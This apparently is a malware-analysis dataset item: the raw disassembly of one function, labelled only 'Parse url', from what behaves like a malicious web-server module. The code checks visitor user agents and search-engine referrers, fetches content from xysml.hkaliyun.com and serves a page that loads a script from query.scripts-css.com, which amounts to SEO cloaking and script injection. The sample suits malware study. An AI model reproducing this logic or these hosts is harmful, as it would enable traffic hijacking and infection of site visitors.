Function at 0x180003700
Capabilities:
Parse url

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x180038028]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov r15, rdx
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x18]
mov rdi, rax
test rax, rax
je 0x18000432d
mov r9, qword [rax]
lea r8, [rbp + 0xa0]
lea rdx, str.User_Agent
mov rcx, rax
call qword [r9 + 0x18]
mov r12, rax
test rax, rax
je 0x18000432d
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx + 8]
mov qword [rbp + 0x58], rax
test rax, rax
je 0x18000432d
mov rdx, qword [r15]
mov rcx, r15
call qword [rdx + 0x20]
mov r14, rax
test rax, rax
je 0x18000432d
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 8]
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x18000432d
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx + 8]
test rax, rax
je 0x1800038be
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rcx
mov dword [rbp - 0x40], 0x68
mov dword [rbp - 0x30], 0xffffffff
mov dword [rbp - 0x20], 0xffffffff
lea r9, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rax + 0x48]
call qword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x1800038be
lea edx, [rbx + 0x3a]
mov rcx, qword [rbp - 0x28]
call fcn.180008bd4
test rax, rax
je 0x18000384e
lea edx, [rbx + 0x3a]
mov rcx, qword [rbp - 0x28]
call fcn.180008bd4
mov rsi, rax
mov r8, qword [rbp - 0x28]
sub rsi, r8
sar rsi, 1
jmp 0x180003855
mov esi, dword [rbp - 0x20]
mov r8, qword [rbp - 0x28]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea ecx, [rbx + 1]
movsxd rcx, ecx
call fcn.1800068b8
mov r13, rax
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
mov r9d, esi
mov r8, qword [rbp - 0x28]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [rbx + r13], 0
xor ebx, ebx
mov dword [rbp + 0xa8], ebx
mov qword [rbp - 0x48], rbx
mov rax, qword [r15]
lea r9, [rbp + 0xa8]
lea r8, [rbp - 0x48]
lea rdx, str.REMOTE_ADDR
mov rcx, r15
call qword [rax + 0x78]
mov rax, qword [rdi]
lea r8, [rbp + 0xa4]
lea rdx, str.Referer
mov rcx, rdi
call qword [rax + 0x18]
mov r13, rax
mov rdi, qword [rbp + 0x58]
mov rdi, qword [rdi + 0x58]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov rsi, 0xffffffffffffffff
mov r9d, esi
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea ecx, [rbx + 1]
movsxd rcx, ecx
call fcn.1800068b8
mov qword [rbp + 0x58], rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rdi, qword [rbp + 0x58]
mov byte [rbx + rdi], 0
test rdi, rdi
jne 0x18000397d
xor bl, bl
jmp 0x1800039e6
lea rax, str._player
mov qword [rsp + 0x48], rax
lea rax, str._list
mov qword [rsp + 0x50], rax
lea rax, str.video
mov qword [rsp + 0x58], rax
lea rax, str.sitemap
mov qword [rsp + 0x60], rax
lea rax, str.robots
mov qword [rsp + 0x68], rax
xor ebx, ebx
lea rdi, [rsp + 0x48]
mov rdx, qword [rdi]
mov rcx, qword [rbp + 0x58]
call fcn.1800089d8
test rax, rax
jne 0x1800039e0
inc ebx
add rdi, 8
cmp ebx, 5
jb 0x1800039c0
xor bl, bl
jmp 0x1800039e2
mov bl, 1
mov rdi, qword [rbp + 0x58]
mov rcx, r12
call fcn.180002e00
mov ecx, 0xc8
test al, al
je 0x180003bed
mov rax, qword [rbp + 0xb0]
movzx eax, word [rax + 8]
cmp ax, cx
je 0x180003a19
mov ecx, 0x130
cmp ax, cx
jne 0x180003bed
test bl, bl
jne 0x180003bed
xor edi, edi
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], dil
lea r8d, [rdi + 0x1e]
lea rdx, str.http:__xysml.hkaliyun.com_link
lea rcx, [rbp + 0x80]
call fcn.180004df0
nop
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
mov dword [rsp + 0x20], 3
mov r9, r12
xor r8d, r8d
lea rcx, [rbp + 0x30]
call fcn.1800052a0
nop
cmp qword [rbp + 0x40], rdi
jne 0x180003a97
mov ebx, edi
jmp 0x180003b5a
mov rax, qword [r15]
mov edx, dword [rbp + 0x40]
inc edx
mov rcx, r15
call qword [rax + 0x90]
mov rbx, rax
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r8, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x40]
inc rdx
mov rcx, rax
call fcn.18000e458
mov dword [rbp - 0x68], edi
mov qword [rbp - 0x60], rbx
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x58], eax
movups xmm0, xmmword [str.Accept_Encoding]
movups xmmword [rbp + 0xb0], xmm0
mov rax, qword [r14]
lea rcx, [rbp + 0xb0]
nop dword [rax]
inc rsi
cmp byte [rcx + rsi], 0
jne 0x180003af0
mov r9, rsi
mov dword [rsp + 0x20], 1
lea r8, [rbp + 0xb0]
lea rdx, str.Vary
mov rcx, r14
call qword [rax + 0x28]
mov rax, qword [r14]
xor r8d, r8d
lea rdx, [rbp - 0x68]
mov rcx, r14
call qword [rax + 0xa0]
test eax, eax
jns 0x180003b55
mov r10, qword [r14]
xor r9d, r9d
mov edx, 0x1f4
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
lea r8, str.Server_Error
mov rcx, r14
call qword [r10 + 0x18]
mov ebx, 2
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180003b95
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004365
call fcn.1800068b0
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x180003be6
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003be1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000436b
call fcn.1800068b0
mov eax, ebx
jmp 0x18000432f
xor r15d, r15d
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r15b
xor r8d, r8d
lea rdx, [0x180025cb8]
lea rcx, [rbp + 0x60]
call fcn.180004df0
nop
mov rcx, r12
call fcn.180002e00
test al, al
je 0x180003f96
test bl, bl
je 0x180003f96
xor r13d, r13d
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], r13b
lea r8d, [r15 + 0x1d]
lea rdx, str.http:__xysml.hkaliyun.com__u
lea rcx, [rbp + 0x80]
call fcn.180004df0
nop
mov r8, rsi
nop
inc r8
cmp byte [rdi + r8], 0
jne 0x180003c70
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.180004d60
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x180003cfe
lea rax, [rcx + 6]
mov qword [rbp + 0x40], rax
lea rbx, [rbp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x30]
add rbx, rcx
mov r8d, 6
lea rdx, str.host
mov rcx, rbx
call fcn.180009b50
mov byte [rbx + 6], 0
lea rax, [rbp + 0x30]
jmp 0x180003d1e
mov qword [rsp + 0x20], 6
lea r9, str.host
xor r8d, r8d
lea edx, [r8 + 6]
lea rcx, [rbp + 0x30]
call fcn.180001de0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, rsi
mov r15, qword [rsp + 0x40]
inc r8
cmp byte [r15 + r8], 0
jne 0x180003d52
mov rdx, r15
lea rcx, [rsp + 0x78]
call fcn.180004d60
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x180003dc3
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003dbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004371
call fcn.1800068b0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x180003e0f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004377
call fcn.1800068b0
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x180003e60
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000437d
call fcn.1800068b0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
mov dword [rsp + 0x20], 3
mov r9, r12
xor r8d, r8d
lea rcx, [rsp + 0x48]
call fcn.1800052a0
mov rbx, rax
lea rax, [rbp + 0x60]
cmp rax, rbx
je 0x180003f14
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x180003ee6
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003ee1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004383
call fcn.1800068b0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180003f52
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004383
call fcn.1800068b0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1800041cf
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004389
call fcn.1800068b0
jmp 0x1800041cf
test r13, r13
je 0x1800042f6
mov rax, rsi
inc rax
cmp byte [rax + r13], 0
jne 0x180003fa2
test rax, rax
je 0x1800042f6
test bl, bl
je 0x1800042f6
lea rax, str.android
mov qword [rsp + 0x48], rax
lea rax, str.iphone
mov qword [rsp + 0x50], rax
lea rax, str.ipad
mov qword [rsp + 0x58], rax
lea rax, str.ipod
mov qword [rsp + 0x60], rax
lea rax, str.mobile
mov qword [rsp + 0x68], rax
lea rax, str.phone
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x180004020
mov rdx, r12
lea rcx, [rbp + 0x30]
call fcn.180004df0
lea rdi, [rbp + 0x30]
mov rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x48]
cmp r8, 0x10
cmovae rdi, rdx
lea rcx, [rbp + 0x30]
cmovae rcx, rdx
mov r15, qword [rbp + 0x40]
add r15, rcx
lea rbx, [rbp + 0x30]
cmp r8, 0x10
cmovae rbx, rdx
cmp rbx, r15
je 0x18000408b
sub rdi, rbx
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.18000e42c
mov byte [rdi + rbx], al
inc rbx
cmp rbx, r15
jne 0x180004070
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x30]
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x30]
cmp r8, 0x10
cmovae rcx, rdx
mov rdx, qword [rsp + rbx*8 + 0x48]
call fcn.1800089d8
test rax, rax
jne 0x180004102
inc rbx
cmp rbx, 6
jae 0x1800040be
mov r8, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x30]
jmp 0x180004090
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1800042f6
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800040f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000438f
call fcn.1800068b0
jmp 0x1800042f6
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000413d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004138
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000438f
call fcn.1800068b0
lea rax, str.baidu
mov qword [rsp + 0x48], rax
lea rax, str.sogou
mov qword [rsp + 0x50], rax
lea rax, str.sm.cn
mov qword [rsp + 0x58], rax
lea rax, [0x180026220]
mov qword [rsp + 0x60], rax
lea rax, str.so.com
mov qword [rsp + 0x68], rax
lea rax, str.toutiao
mov qword [rsp + 0x70], rax
xor ebx, ebx
lea rdi, [rsp + 0x48]
nop dword [rax]
mov rdx, qword [rdi]
mov rcx, r13
call fcn.1800089d8
test rax, rax
jne 0x1800041ad
inc ebx
add rdi, 8
cmp ebx, 6
jb 0x180004190
jmp 0x1800041c3
mov r8d, 0x6b
lea rdx, str.__DOCTYPE_html__html__body__script_src_https:__query.scripts_css.com_query.css.js____script___body___html_
lea rcx, [rbp + 0x60]
call fcn.180004df0
xor r13d, r13d
mov r15, qword [rsp + 0x40]
mov rdi, qword [rbp + 0x58]
cmp qword [rbp + 0x70], 0
je 0x1800042f6
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x50]
mov rax, qword [rbp + 0xb0]
mov ecx, 0xc8
mov word [rax + 8], cx
mov rax, qword [r14]
mov r9d, 9
mov dword [rsp + 0x20], 1
lea r8, str.text_html
lea edx, [r9 + 3]
mov rcx, r14
call qword [rax + 0x20]
mov rcx, qword [rbp + 0x70]
inc rcx
call fcn.1800068b8
mov rbx, rax
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r8, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x70]
inc rdx
mov rcx, rax
call fcn.18000e458
mov dword [rbp - 0x68], r13d
mov qword [rbp - 0x60], rbx
mov ecx, dword [rbp + 0x70]
mov dword [rbp - 0x58], ecx
mov eax, 0x2a
mov word [rbp + 0x50], ax
mov rax, qword [r14]
lea rcx, [rbp + 0x50]
nop
inc rsi
cmp byte [rcx + rsi], 0
jne 0x180004260
mov r9, rsi
mov dword [rsp + 0x20], 1
lea r8, [rbp + 0x50]
lea rdx, str.Access_Control_Allow_Origin
mov rcx, r14
call qword [rax + 0x28]
mov rax, qword [r14]
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea r8d, [r9 + 1]
lea rdx, [rbp - 0x68]
mov rcx, r14
call qword [rax + 0xa8]
test eax, eax
jns 0x1800042dd
mov r10, qword [r14]
xor r9d, r9d
mov edx, 0x1f4
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], eax
lea r8, str.Server_Error
mov rcx, r14
call qword [r10 + 0x18]
mov rcx, rbx
call fcn.1800068b0
mov rcx, rdi
call fcn.1800068b0
mov rcx, r15
call fcn.1800068b0
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x18000432d
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004328
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000435f
call fcn.1800068b0
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.180006ff0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000e1e4
nop
call fcn.18000e1e4
nop
call fcn.18000e1e4
nop
call fcn.18000e1e4
nop
call fcn.18000e1e4
nop
call fcn.18000e1e4
int3
call fcn.18000e1e4
nop
call fcn.18000e1e4
int3
call fcn.18000e1e4
int3